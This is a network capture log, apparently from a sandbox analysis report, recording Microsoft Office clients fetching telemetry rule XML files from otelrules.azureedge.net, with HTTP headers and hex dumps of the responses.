2024-11-10 18:45:17 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 38 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 73 6f 75 72 63 65 73 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 52 65 73 6f 75 72 63 65 73 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701800" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Resources" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenResources" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
123	192.168.2.4	49878	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-10 18:45:17 UTC	192	OUT	GET /rules/rule703500v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-10 18:45:17 UTC	538	IN	HTTP/1.1 200 OK Date: Sun, 10 Nov 2024 18:45:17 GMT Content-Type: text/xml Content-Length: 1362 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:43 GMT ETag: "0x8DC582BDF497570" x-ms-request-id: 9890a075-d01e-002b-06d2-2c25fb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241110T184517Z-16547b76f7f4k79zhC1DFWu9y00000000d1000000000dkxm x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-10 18:45:17 UTC	1362	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 35 30 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 61 6e 64 62 6f 78 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 61 6e 64 62 6f 78 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703500" V="0" DC="SM" EN="Office.Telemetry.Event.Office.Sandbox" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSandbox" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
124	192.168.2.4	49881	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-10 18:45:17 UTC	192	OUT	GET /rules/rule701051v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-10 18:45:17 UTC	538	IN	HTTP/1.1 200 OK Date: Sun, 10 Nov 2024 18:45:17 GMT Content-Type: text/xml Content-Length: 1399 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:47 GMT ETag: "0x8DC582BE1CC18CD" x-ms-request-id: 4847cb37-401e-0016-7fd2-2c53e0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241110T184517Z-16547b76f7f7rtshhC1DFWrtqn0000000d2g0000000090sp x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-10 18:45:17 UTC	1399	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 30 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 6c 65 61 73 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 52 65 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701051" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Release.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenRe

Session ID	Source IP	Source Port	Destination IP	Destination Port
125	192.168.2.4	49882	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-10 18:45:17 UTC	192	OUT	GET /rules/rule701050v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-10 18:45:18 UTC	538	IN	HTTP/1.1 200 OK Date: Sun, 10 Nov 2024 18:45:17 GMT Content-Type: text/xml Content-Length: 1362 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:03 GMT ETag: "0x8DC582BEB256F43" x-ms-request-id: fadf1528-a01e-001e-72d2-2c49ef000000 x-ms-version: 2018-03-28 x-azure-ref: 20241110T184517Z-16547b76f7fdtmzhhC1DFW6zhc00000001z0000000004uzw x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-10 18:45:18 UTC	1362	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 30 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 6c 65 61 73 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 52 65 6c 65 61 73 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701050" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Release" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenRelease" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
126	192.168.2.4	49885	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-10 18:45:18 UTC	192	OUT	GET /rules/rule702301v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-10 18:45:18 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 10 Nov 2024 18:45:18 GMT Content-Type: text/xml Content-Length: 1399 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:00 GMT ETag: "0x8DC582BE976026E" x-ms-request-id: 58bf4189-701e-0098-510d-2f395f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241110T184518Z-17df447cdb5w28bthC1DFWgb64000000093g00000000437s x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-10 18:45:18 UTC	1399	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 6a 65 63 74 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702301" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Project.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPr

Session ID	Source IP	Source Port	Destination IP	Destination Port
127	192.168.2.4	49883	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-10 18:45:18 UTC	192	OUT	GET /rules/rule702751v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-10 18:45:18 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 10 Nov 2024 18:45:18 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:03 GMT ETag: "0x8DC582BEB866CDB" x-ms-request-id: a0219141-901e-005b-3761-2e2005000000 x-ms-version: 2018-03-28 x-azure-ref: 20241110T184518Z-15869dbbcc6x4rp4hC1DFW3t7w0000000fcg000000000x25 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-10 18:45:18 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 37 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 75 62 6c 69 73 68 65 72 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702751" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Publisher.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
128	192.168.2.4	49884	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-10 18:45:18 UTC	192	OUT	GET /rules/rule702750v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-10 18:45:18 UTC	538	IN	HTTP/1.1 200 OK Date: Sun, 10 Nov 2024 18:45:18 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:54 GMT ETag: "0x8DC582BE5B7B174" x-ms-request-id: 14de8335-b01e-003e-77d2-2c8e41000000 x-ms-version: 2018-03-28 x-azure-ref: 20241110T184518Z-16547b76f7fr4g8xhC1DFW9cqc0000000c6000000000caag x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-10 18:45:18 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 37 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 75 62 6c 69 73 68 65 72 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 75 62 6c 69 73 68 65 72 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702750" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Publisher" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPublisher" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
129	192.168.2.4	49887	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-10 18:45:18 UTC	192	OUT	GET /rules/rule702300v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-10 18:45:18 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 10 Nov 2024 18:45:18 GMT Content-Type: text/xml Content-Length: 1362 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:37 GMT ETag: "0x8DC582BDC13EFEF" x-ms-request-id: f332610c-701e-0032-1b42-32a540000000 x-ms-version: 2018-03-28 x-azure-ref: 20241110T184518Z-17df447cdb5fzdpxhC1DFWdd3400000009h00000000089fb x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-10 18:45:18 UTC	1362	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 6a 65 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 6f 6a 65 63 74 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702300" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Project" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenProject" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
130	192.168.2.4	49888	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-10 18:45:18 UTC	192	OUT	GET /rules/rule703401v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-10 18:45:18 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 10 Nov 2024 18:45:18 GMT Content-Type: text/xml Content-Length: 1425 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:55 GMT ETag: "0x8DC582BE6BD89A1" x-ms-request-id: 0401437a-901e-0015-114b-2eb284000000 x-ms-version: 2018-03-28 x-azure-ref: 20241110T184518Z-15869dbbcc65c582hC1DFWgpv400000006rg00000000fcgx x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-10 18:45:18 UTC	1425	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 34 30 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 67 72 61 6d 6d 61 62 6c 65 53 75 72 66 61 63 65 73 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703401" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ProgrammableSurfaces.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="Nexus

Session ID	Source IP	Source Port	Destination IP	Destination Port
131	192.168.2.4	49889	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-10 18:45:19 UTC	192	OUT	GET /rules/rule703400v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-10 18:45:19 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 10 Nov 2024 18:45:19 GMT Content-Type: text/xml Content-Length: 1388 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:37 GMT ETag: "0x8DC582BDBD9126E" x-ms-request-id: 0218b709-501e-0029-2949-32d0b8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241110T184519Z-17df447cdb5g2j9ghC1DFWuyag00000003m0000000005qhr x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-10 18:45:19 UTC	1388	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 34 30 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 67 72 61 6d 6d 61 62 6c 65 53 75 72 66 61 63 65 73 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 6f 67 72 61 6d 6d 61 62 6c 65 53 75 72 66 61 63 65 73 22 20 53 3d 22 4d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703400" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ProgrammableSurfaces" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenProgrammableSurfaces" S="M

Session ID	Source IP	Source Port	Destination IP	Destination Port
132	192.168.2.4	49890	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-10 18:45:19 UTC	192	OUT	GET /rules/rule702501v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-10 18:45:19 UTC	538	IN	HTTP/1.1 200 OK Date: Sun, 10 Nov 2024 18:45:19 GMT Content-Type: text/xml Content-Length: 1415 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:57 GMT ETag: "0x8DC582BE7C66E85" x-ms-request-id: 3018e20c-101e-008d-17d2-2c92e5000000 x-ms-version: 2018-03-28 x-azure-ref: 20241110T184519Z-16547b76f7fp46ndhC1DFW66zg0000000d0000000000h5d5 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-10 18:45:19 UTC	1415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 35 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 67 72 61 6d 6d 61 62 69 6c 69 74 79 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702501" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Programmability.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenan

Session ID	Source IP	Source Port	Destination IP	Destination Port
133	192.168.2.4	49892	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-10 18:45:19 UTC	192	OUT	GET /rules/rule702500v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-10 18:45:19 UTC	515	IN	HTTP/1.1 200 OK Date: Sun, 10 Nov 2024 18:45:19 GMT Content-Type: text/xml Content-Length: 1378 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:36 GMT ETag: "0x8DC582BDB813B3F" x-ms-request-id: b765ec44-001e-008d-6fb9-30d91e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241110T184519Z-17df447cdb56j5xmhC1DFWn91800000009f0000000006qxe x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-10 18:45:19 UTC	1378	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 35 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 67 72 61 6d 6d 61 62 69 6c 69 74 79 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 6f 67 72 61 6d 6d 61 62 69 6c 69 74 79 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702500" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Programmability" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenProgrammability" S="Medium" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
134	192.168.2.4	49893	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
